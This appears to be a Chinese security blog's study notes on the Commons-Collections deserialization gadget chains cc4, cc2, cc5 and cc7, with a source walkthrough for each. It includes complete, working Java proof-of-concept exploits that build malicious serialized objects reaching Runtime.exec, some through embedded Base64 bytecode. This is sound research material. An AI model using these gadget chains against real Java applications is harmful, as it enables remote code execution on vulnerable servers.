MENU

Commons-Collections (cc4,cc2,cc5,cc7)

September 17, 2022 • Read: 507 • Code auditing

前言

摆烂了几天,又继续回来捡起我的cc链
截屏2022-09-17 14.21.42.png

一些版本限制
截屏2022-09-17 14.24.06.png

Commons-Collections (cc4)

我们还是从InstantiateTransformer类中的transform方法入手
截屏2022-09-17 15.45.35.png

这里后面就是类加载那条链子了,不懂可以再看看我之前的cc3
然后就是来看哪里调用了transform,在TransformingComparator类中的compare方法调用
截屏2022-09-17 15.56.41.png

再往会找一下,看哪里还在调用compare,PriorityQueue类中readObject方法调用
截屏2022-09-17 15.45.35.png

跟进
截屏2022-09-17 16.10.37.png

继续跟进
截屏2022-09-21 09.36.08.png

然后得到我们调用compare的地方
截屏2022-09-17 16.08.49.png

链子就通了,意思就是后面类加载地方不变,只需要新增

TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

但是经过调试发现,入口进不去
截屏2022-09-17 17.06.04.png

因为这个地方不满足条件,因为size上final所以不能通过反射修改,但是我们至少要满足size等于2才能进入循环
截屏2022-09-17 17.13.39.png

然后在这个类的offer函数中,可以达到size+1
截屏2022-09-17 17.15.17.png

但是调试的时候有出问题了,因为offer函数中的siftUp方法会提前触发一整条链子
所以我们还是要像之前那样处理,先赋值其他的,把size修改好再通过反射修改之前的赋值就能解决
poc:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class Cc4Test {
    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","m1");
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator<>(new ChainedTransformer<>());
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.offer(1);
        priorityQueue.offer(2);

        setFieldValue(transformingComparator,"transformer",chainedTransformer);

        Serializable(priorityQueue,"cc4.bin");
        Unserializable("cc4.bin");

    }
    public static void Serializable(Object object,String filename) throws IOException {
        OutputStream out = new FileOutputStream(filename);
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(object);
        objOut.close();
    }
    public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream(filename);
        ObjectInputStream objIn = new ObjectInputStream(in);
        Object obj = objIn.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

截屏2022-09-17 17.25.11.png

Commons-Collections (cc2)

这条链子就是改版的cc4
这条链子我们就不通过实例化TrAXFilter进行类加载了
走之前cc1的老路,用InvokerTransformer类,就很简单了
poc:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class Cc2Test {
    public static void main(String[] args) throws Exception {
        byte[] codes = Base64.getDecoder().decode("yv66vgAAADMAMgcAJAoAAQAlCgAHACUKACYAJwgAKAoAJgApBwAqAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAlieXRlQ2xhc3MBABdMb3JnL2V4YW1wbGUvQnl0ZUNsYXNzOwEACkV4Y2VwdGlvbnMHACsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAR0aGlzAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcALAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQAKU291cmNlRmlsZQEADkJ5dGVDbGFzcy5qYXZhAQAVb3JnL2V4YW1wbGUvQnl0ZUNsYXNzDAAgACEHAC0MAC4ALwEAPS9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwL0NvbnRlbnRzL01hY09TL0NhbGN1bGF0b3IMADAAMQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAEABwAAAAAABAAJAAgACQACAAoAAABBAAIAAgAAAAm7AAFZtwACTLEAAAACAAsAAAAKAAIAAAANAAgADgAMAAAAFgACAAAACQANAA4AAAAIAAEADwAQAAEAEQAAAAQAAQASAAEAEwAUAAIACgAAAD8AAAADAAAAAbEAAAACAAsAAAAGAAEAAAASAAwAAAAgAAMAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAGAAZAAIAEQAAAAQAAQAaAAEAEwAbAAIACgAAAEkAAAAEAAAAAbEAAAACAAsAAAAGAAEAAAAXAAwAAAAqAAQAAAABABUAEAAAAAAAAQAWABcAAQAAAAEAHAAdAAIAAAABAB4AHwADABEAAAAEAAEAGgABACAAIQACAAoAAABAAAIAAQAAAA4qtwADuAAEEgW2AAZXsQAAAAIACwAAAA4AAwAAABgABAAZAA0AGgAMAAAADAABAAAADgAVABAAAAARAAAABAABABIAAQAiAAAAAgAj");
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_class",null);
        setFieldValue(templates,"_name","m1");
        setFieldValue(templates,"_bytecodes",new byte[][]{codes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.offer(templates);
        priorityQueue.offer(templates);

        setFieldValue(transformingComparator,"transformer",newTransformer);

        Serializable(priorityQueue,"cc2.bin");
        Unserializable("cc2.bin");

    }
    public static void Serializable(Object object,String filename) throws IOException {
        OutputStream out = new FileOutputStream(filename);
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(object);
        objOut.close();
    }
    public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream(filename);
        ObjectInputStream objIn = new ObjectInputStream(in);
        Object obj = objIn.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

}

截屏2022-09-17 21.31.13.png

看poc能看懂,很简单

Commons-Collection (cc5)

命令执行和cc1一样的,还是贴一下利用链

adget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

看吧就是lazyMap前面这里变化了而已
那我们就来看看这两个类
BadAttributeValueExpException类的reaObject方法
先调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。
所以可以通过修改val的值,来修改valobj,
截屏2022-09-17 22.18.41.png

调用TiedMapEntry类的toString方法
截屏2022-09-17 22.20.08.png

截屏2022-09-17 22.20.26.png
这里调用lazyMap的get方法,链子就是这样的
有一点需要注意,BadAttributeValueExpException这个类会在这里调用valobj的toString,而val是本类中的一个私有属性,直接反射修改即可
截屏2022-09-17 23.20.24.png

所以poc

package org.example;


import com.sun.javafx.tools.packager.Param;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;



public class Cc5Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashedMap hashedMap = new HashedMap();
        Map<Object, Object> decorate = LazyMap.decorate(hashedMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"m1");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);



        Serializable(badAttributeValueExpException,"cc5.bin");
        Unserializable("cc5.bin");


    }
    public static void Serializable(Object object,String filename) throws IOException {
        OutputStream out = new FileOutputStream(filename);
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(object);
        objOut.close();
    }
    public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream(filename);
        ObjectInputStream objIn = new ObjectInputStream(in);
        Object obj = objIn.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }



}

截屏2022-09-17 23.25.18.png

同理也可以换成加载字节码的方式

Commons-Collections (cc7)

还是开门见山,先拿出利用链

java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec

也是在lazyMap前面的部份有所变化,那就直接跟着链子来
Hashtable类中重写了readObject(),最后会调用reconstitutionPut(),我们直接看这个函数
截屏2022-09-17 23.34.04.png

reconstitutionPut()中,调用了equls方法—e.key.equals(key)
跟着链子发现AbstractMapDecorator类的equals方法
截屏2022-09-17 23.37.16.png

它又可以返回一个equals,找到AbstractMap类中的equals方法
截屏2022-09-17 23.39.22.png

最后调用了get方法,所以如果构造m为LazyMap对象,就可以成功向下执行

 if (!value.equals(m.get(key)))

我们来分析一下过程
首先在执行readObject后,会在1173行对elements赋值,赋值后值为2
截屏2022-09-18 00.16.29.png

那么就代表在底下的for循环中可以执行两轮,也就相当于会调用两次reconstitutionPut()
截屏2022-09-18 00.16.58.png

第一次执行后,会获取一个key的hash值,之后用这个hash值与tab中的hash值进行比较,而此时tab中是没有hash的,所以无法进入循环
截屏2022-09-18 00.19.14.png

就执行了1228行的tab[index] = new Entry<>(hash, key, value, e);,将值存入tab
截屏2022-09-18 00.18.30.png

接着在第二次调用reconstitutionPut(),在进入if判断,而此时必须此次的hash值与上次计算的hash相等才会执行后边的euqls(),所以这样构造

    Map innerMap1 = new HashMap();
    Map innerMap2 = new HashMap();

    Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
    lazyMap1.put("yy", 1);

    Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
    lazyMap2.put("zZ", 1);

    Hashtable hashtable = new Hashtable();
    hashtable.put(lazyMap1, 1);
    hashtable.put(lazyMap2, 2);

要注意的是put方法也会调用equals方法,所以我们需要进行提前赋值为空,再反射修改
截屏2022-09-18 00.27.34.png

所以poc:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class Cc7Test {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(null);

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        setFieldValue(chainedTransformer,"iTransformers",transformers);


        lazyMap2.remove("yy");

        Serializable(hashtable,"cc7.bin");
        Unserializable("cc7.bin");
    }
    public static void Serializable(Object object,String filename) throws IOException {
        OutputStream out = new FileOutputStream(filename);
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(object);
        objOut.close();
    }
    public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream(filename);
        ObjectInputStream objIn = new ObjectInputStream(in);
        Object obj = objIn.readObject();
        return obj;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

截屏2022-09-18 00.29.35.png

总结

这些链子其实很多种搭配,这只是前人留下的,所以遇见有被ban掉的类就可以东拼西凑了,原理就是这样的

Last Modified: September 21, 2022
Archives Tip
QR Code for this page
Tipping QR Code